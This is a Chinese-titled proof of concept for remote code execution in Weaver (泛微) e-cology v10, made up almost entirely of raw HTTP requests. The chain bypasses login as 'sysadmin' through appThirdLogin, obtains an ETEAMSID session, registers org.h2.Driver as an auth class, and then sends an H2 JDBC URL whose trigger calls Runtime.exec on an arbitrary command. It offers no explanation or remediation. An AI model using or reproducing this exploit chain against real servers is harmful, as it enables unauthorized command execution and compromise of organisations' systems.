泛微 e-cology v10 远程代码执行漏洞 POC

• POST /papi/passport/rest/appThirdLogin HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: application/x-www-form-urlencodedContent-Length: 51

username=sysadmin&service=1&ip=1&loginType=third

• POST /papi/passport/login/generateEteamsId HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Type: application/x-www-form-urlencodedContent-Length: 56

stTicket={{serviceTicketId}}

POST /api/bs/iaauthclient/base/save HTTP/1.1Host: Content-Length: 86User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: http://ipReferer: http://ip/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeETEAMSID: {{data}}
{"isUse":1,"auth_type":"custom","iaAuthclientCustomDTO":{"ruleClass":"org.h2.Driver"}}

POST /api/dw/connSetting/testConnByBasePassword HTTP/1.1Host: Content-Length: 199User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: http://ipReferer: http://ip/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeETEAMSID:  {{data}}
{"dbType":"mysql5","dbUrl":"jdbc:h2:mem:test;MODE=MSSQLServer;init = CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ //javascript\njava.lang.Runtime.getRuntime().exec(\"{cmd}\")$$"}